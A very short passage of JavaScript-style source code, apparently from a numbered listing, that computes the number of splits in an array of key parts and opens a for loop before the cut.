0, keysplits = keyparts.length - 1; 70 | for (i = 0; i